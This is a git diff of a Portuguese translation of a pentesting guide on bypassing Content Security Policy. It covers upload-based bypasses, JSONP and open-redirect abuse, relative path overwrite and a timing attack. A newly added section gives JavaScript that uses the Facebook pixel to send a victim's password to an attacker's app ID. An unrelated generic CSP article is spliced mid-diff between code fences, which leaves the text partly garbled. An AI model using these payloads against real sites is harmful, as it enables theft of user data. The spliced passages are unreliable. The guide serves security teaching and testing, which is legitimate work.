Translated ['pentesting-web/content-security-policy-csp-bypass/README.md

2024-11-24 13:43:24 +00:00 · 2023-11-05 22:23:01 +00:00 · 2023-11-05 22:23:01 +00:00 · 7c9da3321e
commit 7c9da3321e
parent 81b1cc07f5
1 changed files with 106 additions and 18 deletions
--- a/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/pentesting-web/content-security-policy-csp-bypass/README.md
@ -154,29 +154,29 @@ No entanto, em alguns casos, é possível contornar a CSP e fazer o upload de ar

 #### Como funciona

-Quando uma CSP é implementada com a diretiva 'self', o navegador só permite que o site carregue recursos (como scripts, estilos e imagens) do próprio domínio. Isso impede que recursos externos sejam carregados e reduz o risco de ataques.
+Quando uma CSP é implementada com a diretiva 'self', o navegador só permite que o site carregue recursos (como scripts, estilos e imagens) do próprio domínio. Isso é útil para evitar que recursos externos não confiáveis sejam carregados e executados no contexto do site.

-No entanto, se o site permitir o upload de arquivos, é possível contornar a CSP enviando um arquivo malicioso que contenha código JavaScript. Quando o arquivo é carregado no site, o código JavaScript é executado, ignorando a política de segurança.
+No entanto, se o site permitir o upload de arquivos, é possível contornar a CSP enviando um arquivo malicioso que contenha código JavaScript. Quando o arquivo é carregado no site, o código JavaScript é executado no contexto do domínio do site, permitindo que um atacante execute código arbitrário.

-#### Exemplo
+#### Exemplo de bypass

-Suponha que um site permita o upload de imagens e tenha a seguinte CSP implementada:
+Considere um site que permite o upload de imagens e possui a seguinte CSP:

 ```
 Content-Security-Policy: default-src 'self'
 ```

-Nesse caso, apenas recursos do próprio domínio são permitidos. No entanto, se um arquivo de imagem malicioso contendo código JavaScript for enviado para o site, o código será executado, ignorando a CSP.
+Nesse caso, apenas recursos do próprio domínio são permitidos. No entanto, se um arquivo de imagem malicioso contendo código JavaScript for enviado para o site, o código será executado no contexto do domínio do site, ignorando a CSP.

 #### Mitigação

-Para mitigar esse tipo de ataque, é importante implementar uma validação adequada dos arquivos enviados pelos usuários. Isso pode incluir a verificação do tipo de arquivo, a análise de metadados e a execução de scanners de segurança para detectar possíveis ameaças.
+Para mitigar esse tipo de bypass da CSP, é importante implementar uma validação adequada dos arquivos enviados pelos usuários. Isso pode incluir a verificação do tipo de arquivo, a análise de metadados e a execução de scanners de segurança para detectar possíveis ameaças.

-Além disso, é recomendável adicionar outras camadas de segurança, como a implementação de uma CSP mais restritiva, que limite ainda mais as fontes de conteúdo permitidas.
+Além disso, é recomendável adicionar uma camada adicional de segurança, como a análise de conteúdo em tempo real, para identificar e bloquear arquivos maliciosos antes que eles sejam carregados no site.

 #### Conclusão

-A diretiva 'self' da CSP é uma medida de segurança eficaz para proteger um site contra ataques de injeção de código. No entanto, é importante estar ciente de que o upload de arquivos pode representar um vetor de ataque e implementar as devidas medidas de mitigação para evitar violações de segurança.
+Embora a CSP seja uma medida de segurança eficaz para proteger contra ataques de injeção de código, é importante estar ciente dos possíveis bypasses e implementar as devidas mitigação para garantir a segurança do site. O upload de arquivos é uma área especialmente vulnerável, e os desenvolvedores devem tomar precauções extras ao permitir que os usuários enviem arquivos para seus sites.
 ```yaml
 Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
@ -192,7 +192,7 @@ Além disso, mesmo que você consiga enviar um **código JS** dentro de um arqui

 A partir daqui, se você encontrar um XSS e um upload de arquivo e conseguir encontrar uma **extensão interpretada erroneamente**, você pode tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota ([alguns exemplos de poliglotas aqui](https://github.com/Polydet/polyglot-database)).

-### Endpoints de Terceiros + ('unsafe-eval')
+### Pontos de Extremidade de Terceiros + ('unsafe-eval')

 {% hint style="warning" %}
 Para alguns dos payloads a seguir, **`unsafe-eval` nem é necessário**.
@ -289,7 +289,7 @@ Para mitigar esse tipo de ataque, é importante implementar uma CSP adequada que

 #### Conclusão

-Embora a CSP seja uma medida eficaz para proteger um site contra ataques de injeção de código, é importante estar ciente das possíveis vulnerabilidades que podem surgir ao usar pontos de terceiros e JSONP. Ao implementar uma CSP adequada e tomar precauções adicionais, é possível mitigar essas vulnerabilidades e garantir a segurança do site.
+Embora a CSP seja uma medida eficaz para proteger um site contra ataques de injeção de código, é importante estar ciente das possíveis vulnerabilidades que podem surgir ao usar pontos de terceiros e JSONP. Ao implementar uma CSP adequada e evitar o uso de JSONP, é possível reduzir significativamente o risco de contornar a política de segurança de conteúdo.
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
@ -307,11 +307,99 @@ https://www.youtube.com/oembed?callback=alert;

 A mesma vulnerabilidade ocorrerá se o **ponto de extremidade confiável contiver um redirecionamento aberto**, porque se o ponto de extremidade inicial for confiável, os redirecionamentos também serão confiáveis.

-### Contorno via RPO (Sobrescrita de Caminho Relativo) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
+### Abusos de Terceiros
+Conforme descrito no [post seguinte](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), existem muitos domínios de terceiros que podem ser permitidos em algum lugar na CSP e podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:
+
+| Entidade | Domínio Permitido | Capacidades |
+|--------|----------------|--------------|
+| Facebook | www.facebook.com, *.facebook.com | Exfil |
+| Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
+| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
+| Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
+| Amazon AWS | *.amazonaws.com | Exfil, Exec |
+| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
+| Salesforce Heroku	| *.herokuapp.com | Exfil, Exec |
+| Google Firebase | *.firebaseapp.com | Exfil, Exec |
+
+Se você encontrar algum dos domínios permitidos na CSP do seu alvo, há chances de que você possa contornar a CSP registrando-se no serviço de terceiros e, assim, exfiltrar dados para esse serviço ou executar código.
+
+Por exemplo, se você encontrar a seguinte CSP:
+```
+Content-Security-Policy: default-src 'self’ www.facebook.com;
+```
+# Bypassando a Política de Segurança de Conteúdo (CSP)
+
+A Política de Segurança de Conteúdo (CSP) é uma camada adicional de segurança implementada pelos navegadores para proteger os usuários contra ataques de injeção de código, como XSS (Cross-Site Scripting). No entanto, existem técnicas que podem ser usadas para contornar essa política e explorar vulnerabilidades em um aplicativo da web.
+
+## Introdução
+
+A CSP permite que os desenvolvedores restrinjam quais recursos externos (como scripts, estilos e imagens) podem ser carregados em uma página da web. Isso é feito por meio de uma política de segurança definida no cabeçalho HTTP `Content-Security-Policy`. No entanto, se essa política não for configurada corretamente, um invasor pode encontrar maneiras de contorná-la e executar código malicioso no contexto do aplicativo da web.
+
+## Bypassando a CSP
+
+Existem várias técnicas que podem ser usadas para contornar a CSP e explorar vulnerabilidades em um aplicativo da web. Algumas dessas técnicas incluem:
+
+### 1. Inline Script Execution
+
+Se a CSP permitir a execução de scripts inline, um invasor pode explorar essa permissão injetando código malicioso diretamente no HTML da página. Isso pode ser feito usando técnicas como XSS ou manipulação de eventos.
+
+Exemplo:
+
+```html
+<script>
+    alert('Código malicioso executado!');
+</script>
+```
+
+### 2. Data URI
+
+Os Data URIs permitem que os dados sejam incorporados diretamente em uma URL. Se a CSP permitir o uso de Data URIs, um invasor pode explorar essa permissão injetando código malicioso em uma imagem ou outro recurso externo.
+
+Exemplo:
+
+```html
+<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMCIgaGVpZ2h0PSIxMCIgdmlld0JveD0iMCAwIDEwIDEwIj4KICA8Y2lyY2xlIGN4PSI1MCIgY3k9IjUwIiByPSI1MCIgc3R5bGU9ImZpbGw6cmVkOyIgLz4KPC9zdmc+Cg==" alt="Imagem maliciosa">
+```
+
+### 3. External Resource Injection
+
+Se a CSP permitir a inclusão de recursos externos, um invasor pode explorar essa permissão injetando um link para um recurso malicioso. Isso pode ser feito, por exemplo, através da inclusão de um script externo hospedado em um servidor controlado pelo invasor.
+
+Exemplo:
+
+```html
+<script src="http://www.exemplo.com/script-malicioso.js"></script>
+```
+
+## Conclusão
+
+A CSP é uma medida de segurança importante para proteger os aplicativos da web contra ataques de injeção de código. No entanto, é essencial configurá-la corretamente para evitar possíveis contornos e vulnerabilidades. Os desenvolvedores devem estar cientes das técnicas de contorno da CSP e implementar as melhores práticas de segurança para garantir a proteção adequada de seus aplicativos.
+```
+Content-Security-Policy: connect-src www.facebook.com;
+```
+Você deve ser capaz de exfiltrar dados, da mesma forma que sempre foi feito com o [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Neste caso, siga estas etapas gerais:
+
+1. Crie uma conta de desenvolvedor no Facebook aqui.
+1. Crie um novo aplicativo "Facebook Login" e selecione "Website".
+1. Vá para "Configurações -> Básico" e obtenha seu "ID do aplicativo".
+1. No site alvo do qual você deseja exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget "fbq" do SDK do Facebook por meio de um "customEvent" e a carga de dados.
+1. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (observe que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events_manager2/list/pixel/[id-do-aplicativo]/test_events).
+1. Selecione a guia "Eventos de Teste" para ver os eventos sendo enviados pelo site "seu".
+
+Em seguida, no lado da vítima, execute o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o ID do aplicativo do desenvolvedor do Facebook do atacante e emitir um evento personalizado como este:
+```JavaScript
+fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
+fbq('trackCustom', 'My-Custom-Event',{
+data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
+});
+```
+Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte a [postagem anterior](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) para obter explicações adicionais sobre outros abusos de terceiros.
+
+### Bypass via RPO (Sobrescrita de Caminho Relativo) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>

 Além da redireção mencionada anteriormente para contornar restrições de caminho, existe outra técnica chamada Sobrescrita de Caminho Relativo (RPO) que pode ser usada em alguns servidores.

-Por exemplo, se a CSP permitir o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
+Por exemplo, se o CSP permite o caminho `https://example.com/scripts/react/`, ele pode ser contornado da seguinte forma:
 ```html
 <script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
 ```
@ -319,7 +407,7 @@ O navegador acabará carregando `https://example.com/scripts/angular/angular.js`

 Isso funciona porque, para o navegador, você está carregando um arquivo chamado `..%2fangular%2fangular.js` localizado em `https://example.com/scripts/react/`, o que está em conformidade com a CSP.

-No entanto, para certos servidores, ao receber a solicitação, eles decodificarão, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, o que é equivalente a `https://example.com/scripts/angular/angular.js`.
+No entanto, para certos servidores, ao receber a solicitação, eles irão decodificá-la, efetivamente solicitando `https://example.com/scripts/react/../angular/angular.js`, o que é equivalente a `https://example.com/scripts/angular/angular.js`.

 Ao **explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas**.

@ -355,7 +443,7 @@ Dependendo da política específica, o CSP bloqueará eventos JavaScript. No ent
 ```
 Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 ```
-Se a aplicação estiver usando angular JS e os scripts forem carregados de um domínio permitido. É possível contornar essa política CSP chamando funções de retorno e classes vulneráveis. Para mais detalhes, visite este incrível [repositório](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) no git.
+Se a aplicação estiver usando angular JS e os scripts forem carregados de um domínio permitido, é possível contornar essa política CSP chamando funções de retorno e classes vulneráveis. Para mais detalhes, visite este incrível [repositório](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) no git.

 Cargas úteis funcionais:
 ```html
@ -397,7 +485,7 @@ Com esse redirecionamento, mesmo que o caminho seja especificado completamente,

 Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de redirecionamento aberto e que não haja domínios que possam ser explorados nas regras do CSP.

-### Contornar CSP com marcação pendente
+### Contornando CSP com marcação pendente

 Leia [como aqui](../dangling-markup-html-scriptless-injection/).

@ -439,7 +527,7 @@ Você pode encontrar um exemplo aqui: [http://portswigger-labs.net/edge\_csp\_in

 #### Edge

-No Edge é muito mais simples. Se você adicionar no CSP apenas isso: **`;_`** o **Edge** irá **descartar** toda a **política**.\
+No Edge é muito mais simples. Se você puder adicionar no CSP apenas isso: **`;_`** o **Edge** irá **descartar** toda a **política**.\
 Exemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)

 ### img-src \*; via XSS (iframe) - Ataque de tempo
@ -447,7 +535,7 @@ Exemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
 Observe a falta da diretiva `'unsafe-inline'`\
 Desta vez, você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe>`. Desta vez, você fará com que a vítima acesse a página de onde deseja extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página precisa para carregar**, poderá extrair as informações necessárias.

-Desta vez, uma **flag** será extraída, sempre que um **caractere for adivinhado corretamente** através de SQLi, a **resposta** levará **mais tempo** devido à função de espera. Em seguida, você poderá extrair a flag:
+Desta vez, uma **flag** será extraída, sempre que um **caractere for adivinhado corretamente** através de SQLi, a **resposta** levará **mais tempo** devido à função de sleep. Em seguida, você poderá extrair a flag:
 ```javascript
 <iframe name=f id=g></iframe> // The bot will load an URL with the payload
 <script>
@ -701,7 +789,7 @@ As recompensas do HackenProof são lançadas apenas quando seus clientes deposit
 **Adquira experiência em pentesting web3**\
 Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

-**Torne-se uma lenda hacker web3**\
+**Torne-se a lenda dos hackers web3**\
 Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

 [**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks!